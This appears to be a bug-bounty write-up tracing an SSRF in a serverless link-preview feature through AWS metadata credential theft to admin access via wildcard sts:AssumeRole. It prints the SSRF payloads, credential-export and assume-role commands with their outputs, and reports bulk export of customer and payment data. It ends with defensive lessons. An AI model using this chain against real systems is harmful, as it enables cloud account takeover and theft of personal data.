From SSRF to Cloud Admin: Chaining AWS Metadata Exposure in a Serverless App
A simple Server-Side Request Forgery in a URL preview feature led me through IMDSv1, IAM role assumption, and ultimately full administrative access to the target's AWS infrastructure.

Recon
I was testing a modern SaaS platform built entirely on AWS Lambda and API Gateway. The application had a "link preview" feature that would fetch Open Graph metadata from any URL you provided. You'd paste a link, and it would show you the title, description, and thumbnail—think Slack or Discord link unfurling.
The endpoint looked innocent:
httpPOST /api/preview HTTP/1.1 Host: app.target.com Content-Type: application/json { "url": "https://example.com/article" }
Response:
json{ "title": "Example Article", "description": "...", "image": "https://example.com/og-image.jpg" }
I immediately tested for SSRF by trying internal addresses:
json{"url": "http://169.254.169.254/latest/meta-data/"}
The response was beautiful:
json{ "title": "ami-id\niam/\ninstance-id\n...", "description": "", "image": null }
The AWS metadata endpoint was fully accessible. This Lambda function was using IMDSv1 (the old, vulnerable version that doesn't require tokens).
Discovery
Now I needed to extract the IAM credentials. I walked the metadata tree:
json{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
This returned a role name: lambda-execution-role-prod
Then I fetched the actual credentials:
json{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lambda-execution-role-prod"}
The response came back in the title field (since it was plain text, not HTML):
json{ "title": "{\n \"AccessKeyId\": \"ASIA...\",\n \"SecretAccessKey\": \"...\",\n \"Token\": \"...\",\n \"Expiration\": \"2024-01-15T18:30:00Z\"\n}", "description": "" }
I extracted the credentials and configured them locally:
bashexport AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws sts get-caller-identity
Output:
json{ "UserId": "AROA...:lambda-function-name", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/lambda-execution-role-prod/preview-function" }
I was in. But what could this role actually do?
Exploitation
bashaws iam get-role --role-name lambda-execution-role-prod
The role had a trust policy allowing Lambda to assume it, and an attached policy. I dumped it:
bashaws iam list-attached-role-policies --role-name lambda-execution-role-prod aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/LambdaPreviewPolicy --version-id v1
The policy was overly permissive:
json{ "Statement": [ { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "dynamodb:*", "lambda:InvokeFunction", "sts:AssumeRole" ], "Resource": "*" } ] }
The AHA moment: sts:AssumeRole with wildcard resources meant I could assume any role in the account, including admin roles.
I enumerated roles:
bashaws iam list-roles | grep -i admin
Found: OrganizationAdminRole
I checked if I could assume it:
bashaws sts assume-role \ --role-arn arn:aws:iam::123456789012:role/OrganizationAdminRole \ --role-session-name pwned
It worked! I got new credentials with AdministratorAccess. From there:
bash# Export new admin credentials export AWS_ACCESS_KEY_ID=ASIA[new] export AWS_SECRET_ACCESS_KEY=[new] export AWS_SESSION_TOKEN=[new] # Verify aws iam list-users aws s3 ls aws lambda list-functions
I now had complete control over the AWS account: all S3 buckets, databases, Lambda functions, EC2 instances, and IAM users.
To demonstrate impact safely, I:
- Listed all S3 buckets (found customer data, backup archives, source code repos)
- Exported DynamoDB tables (user data, payment info)
- Downloaded Lambda function code (contained API keys for Stripe, SendGrid, etc.)
Impact
- Full AWS Account Compromise: Administrative access to all resources
- Customer Data Exposure: Access to PII, payment data, and confidential business information
- Supply Chain Risk: Access to CI/CD pipelines and deployment credentials
- Lateral Movement: Credentials for third-party services (payment processors, email providers)
The company paid a $25,000 bounty and implemented IMDSv2, IP whitelisting, and principle of least privilege across all Lambda roles.
Lessons
- Always use IMDSv2: It requires session tokens and prevents basic SSRF attacks
- Principle of least privilege: Lambda functions should have minimal, scoped permissions
- Never allow wildcard
sts:AssumeRole: If roles need cross-role access, explicitly whitelist target ARNs - Input validation isn't enough: SSRF protection requires URL parsing, hostname resolution checks, and IP blacklisting
- Defense in depth: Even with SSRF, network segmentation and VPC configurations could have limited impact
This chain showed how a simple SSRF in a serverless environment can escalate to full infrastructure compromise when IAM permissions are misconfigured. In the cloud, IAM is your perimeter—treat it as such.
Comments (0)
// go deeper
- Practice this in a legal lab: GCP Metadata SSRF → Service-Account Token Exfil
- Practice this in a legal lab: Box: Cloud Misconfig (S3 + IAM + SSRF)
- Practice this in a legal lab: AWS IAM PrivEsc: iam:PassRole → Lambda Escalation
- Read the writeup: SSRF in a PDF Generator Led Me to AWS Metadata and Full Cloud Compromise
- Read the writeup: From SSRF to AWS Console: A Journey Through Metadata and Misconfigurations
- Read the writeup: From Blind XXE to Full Server Takeover: A Cloud Metadata Journey